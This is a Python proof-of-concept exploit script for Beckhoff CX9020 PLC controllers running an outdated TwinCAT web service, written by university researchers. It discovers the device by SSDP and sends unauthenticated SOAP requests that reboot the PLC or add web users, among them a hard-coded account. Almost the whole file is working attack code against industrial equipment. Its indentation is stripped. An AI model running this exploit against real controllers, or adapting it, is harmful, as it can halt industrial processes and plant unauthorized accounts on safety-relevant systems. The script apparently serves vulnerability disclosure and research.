#!/usr/bin/env python
'''
# Exploit Title: Beckhoff CX9020 CPU Module Web Exploit (RCE)
# Date: 2015-10-22
# Exploit Author: Photubias - tijl[dot]deneut[at]howest[dot]be, based on work by Frank Lycops (frank.lycops@thesecurityfactory.be)
# Vendor Homepage: https://www.beckhoff.com/english.asp?embedded_pc/cx9020.htm
# Version: TwinCat UpnpWebsite < 3.1.4018.13, fixed with ftp://ftp.beckhoff.com/software/embPC-Control/CX90xx/CX9020/CE/TC3/CX9020_CB3011_WEC7_HPS_v602i_TC31_B4018.13.zip
# Tested on: Python runs on any Windows or Linux
# CVE : CVE-2015-4051 (similar to this CVE, but different service IPC Diagnostics Authentication <> Web Authentication)
Copyright 2015 Photubias(c)
Written for Howest(c) University College, Ghent University, XiaK
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
File name CX9020-WebControl.py
written by tijl[dot]deneut[at]howest[dot]be
This POC allows to reboot any CX9020 PLC and add random (Web) users to be configured.
-> Test by going to http://<IP>/config (redirects to http://<NAME>:5120/UpnpWebsite/index.htm)
-> Default credentials are guest/1 and webguest/1, but this exploit works without credentials
-> Verify Website version by logging into http://<IP>/config and clicking "TwinCAT"
'''
import sys, httplib, socket, re, base64
## Defining Functions first:
def rebootMachine(UNS, IP, IO):
## This is the SOAP Message:
SoapMessage = "<?xml version=\"1.0\" encoding=\"utf-8\"?><s:Envelope s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\">"
SoapMessage += "<s:Body><u:Write xmlns:u=\"urn:beckhoff.com:service:cxconfig:1\"><netId></netId><nPort>0</nPort><indexGroup>0</indexGroup>"
SoapMessage += "<IndexOffset>-" + IO + "</IndexOffset>"
SoapMessage += "<pData>AQAAAAAA</pData></u:Write></s:Body></s:Envelope>"
## Construct and send the HTTP POST header
rebootwebservice = httplib.HTTP(IP + ":5120")
rebootwebservice.putrequest("POST", "/upnpisapi?uuid:" + UNS + "+urn:beckhoff.com:serviceId:cxconfig")
rebootwebservice.putheader("Host", IP + ":5120")
rebootwebservice.putheader("User-Agent", "Tijls Python Script")
rebootwebservice.putheader("Content-type", "text/xml; charset=utf-8")
rebootwebservice.putheader("Content-length", "%d" % len(SoapMessage))
rebootwebservice.putheader("SOAPAction", "urn:beckhoff.com:service:cxconfig:1#Write")
rebootwebservice.endheaders()
rebootwebservice.send(SoapMessage)
## Get the response
statuscode, statusmessage, header = rebootwebservice.getreply()
if statuscode == 200:
print "Exploit worked, device should be rebooting!"
return 1
else:
print "Something went wrong, the used index is probably wrong? This is the response code:"
## Printing HTTP Response code
res = rebootwebservice.getfile().read()
print res
return 0
#print "Response: ", statuscode, statusmessage
#print "headers: ", header
def addUser(UNS, IP, PDATA, IO):
## This is the SOAP Message:
SoapMessage = '<?xml version="1.0" encoding="utf-8"?><s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">'
SoapMessage += '<s:Body><u:Write xmlns:u="urn:beckhoff.com:service:cxconfig:1"><netId></netId><nPort>0</nPort><indexGroup>0</indexGroup>'
SoapMessage += '<IndexOffset>-' + IO + '</IndexOffset>'
SoapMessage += '<pData>' + PDATA + '</pData></u:Write></s:Body></s:Envelope>'
## Construct and send the HTTP POST header
rebootwebservice = httplib.HTTP(IP + ":5120")
rebootwebservice.putrequest("POST", "/upnpisapi?uuid:" + UNS + "+urn:beckhoff.com:serviceId:cxconfig")
rebootwebservice.putheader("Host", IP + ":5120")
rebootwebservice.putheader("User-Agent", "Tijls Python Script")
rebootwebservice.putheader("Content-type", "text/xml; charset=utf-8")
rebootwebservice.putheader("Content-length", "%d" % len(SoapMessage))
rebootwebservice.putheader("SOAPAction", "urn:beckhoff.com:service:cxconfig:1#Write")
rebootwebservice.endheaders()
rebootwebservice.send(SoapMessage)
## Get the response
statuscode, statusmessage, header = rebootwebservice.getreply()
if statuscode == 200:
print "Exploit worked, user is added!"
return 1
else:
print "Something went wrong, the used index is probably wrong? This is the response code:"
## Printing HTTP Response code
res = rebootwebservice.getfile().read()
print res
return 0
#print "Response: ", statuscode, statusmessage
#print "headers: ", header
def addOwnUser(UNS, IP, IO):
## This will prompt for username and password and then create the custom pData string
USERNAME = raw_input("Please enter the username: ")
PASSWORD = raw_input("Please enter the password: ")
CONCATENATED = USERNAME + PASSWORD
# Creating the Full String to encode
FULLSTRING = chr(16+len(CONCATENATED))
FULLSTRING += chr(0)+chr(0)+chr(0)
FULLSTRING += chr(len(USERNAME))
FULLSTRING += chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0)
FULLSTRING += chr(len(PASSWORD))
FULLSTRING += chr(0)+chr(0)+chr(0)
FULLSTRING += CONCATENATED
# Encode a first time, but we don't want any '=' signs in the encoded version
PDATA = base64.b64encode(FULLSTRING)
if PDATA.endswith('='):
FULLSTRING += chr(0)
PDATA = base64.b64encode(FULLSTRING)
if PDATA.endswith('='):
FULLSTRING += chr(0)
PDATA = base64.b64encode(FULLSTRING)
# Now we have the correct PDATA string
print 'We will use this string: '+PDATA
return addUser(UNS, IP, PDATA, IO)
def is_ipv4(ip):
match = re.match("^(\d{0,3})\.(\d{0,3})\.(\d{0,3})\.(\d{0,3})$", ip)
if not match:
return False
quad = []
for number in match.groups():
quad.append(int(number))
if quad[0] < 1:
return False
for number in quad:
if number > 255 or number < 0:
return False
return True
###### START PROGRAM #######
if not len(sys.argv) == 2:
IP = raw_input("Please enter the IPv4 address of the Beckhoff PLC: ")
else:
IP = sys.argv[1]
if not is_ipv4(IP):
print "Please go read RFC 791 and then use a legitimate IPv4 address."
sys.exit()
## Initialize variables
UNS = ''
ActiveRebootIndOff = '1329528576' # Active means active Engineering Licenses (when PLC has been programmed less than a week ago)
InactiveRebootIndOff = '1330577152'
ActiveUserIndOff = '1339031296'
InactiveUserIndOff = '1340079872'
print 'Finding the unique UNS (UUID) of the target system (' + IP + '), hold on...\n'
DISCOVERY_MSG = ('M-SEARCH * HTTP/1.1\r\n' +
'HOST: 239.255.255.250:1900\r\n' +
'MAN: "ssdp:discover"\r\n' +
'MX: 3\r\n' +
'ST: upnp:rootdevice\r\n' +
'\r\n')
SOCK = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
SOCK.settimeout(10)
SOCK.sendto(DISCOVERY_MSG, (IP, 1900))
try:
RESPONSE = SOCK.recv(1000).split('\r\n')
except:
print 'Something went wrong, is the system online?\nTry opening http://' + IP + ':5120/config\n'
raw_input('Press Enter to continue...')
sys.exit(0)
for LINE in RESPONSE:
if ':uuid' in LINE:
UNS = LINE[9:45]
print 'Got it: ' + LINE[9:45] + '\n'
SOCK.close()
if not UNS:
print '\n\nProblem finding UNS, this is full SSDP response: \n'
for LINE in RESPONSE: print LINE
input('Press Enter to continue...')
sys.exit(0)
else:
print 'Let\'s go, choose your option:'
print '1 = reboot PLC'
print '2 = add user tijl with password xiak'
print '3 = add user from your choosing'
usr_input = raw_input('Select a number: ')
if usr_input == '1':
if not rebootMachine(UNS, IP, InactiveRebootIndOff):
rebootMachine(UNS, IP, ActiveRebootIndOff)
raw_input('Press Enter to continue...')
elif usr_input == '2':
if not addUser(UNS, IP, 'GAAAAAQAAAAAAAAABAAAAHRpamx4aWFr', InactiveUserIndOff):
addUser(UNS, IP, 'GAAAAAQAAAAAAAAABAAAAHRpamx4aWFr', ActiveUserIndOff)
raw_input('Press Enter to continue...')
elif usr_input == '3':
if not addOwnUser(UNS, IP, InactiveUserIndOff):
addOwnUser(UNS, IP, ActiveUserIndOff)
raw_input('Press Enter to continue...')
else:
print 'Please choose a sensible input next time, exiting.'
input('Press Enter to continue...')
sys.exit()
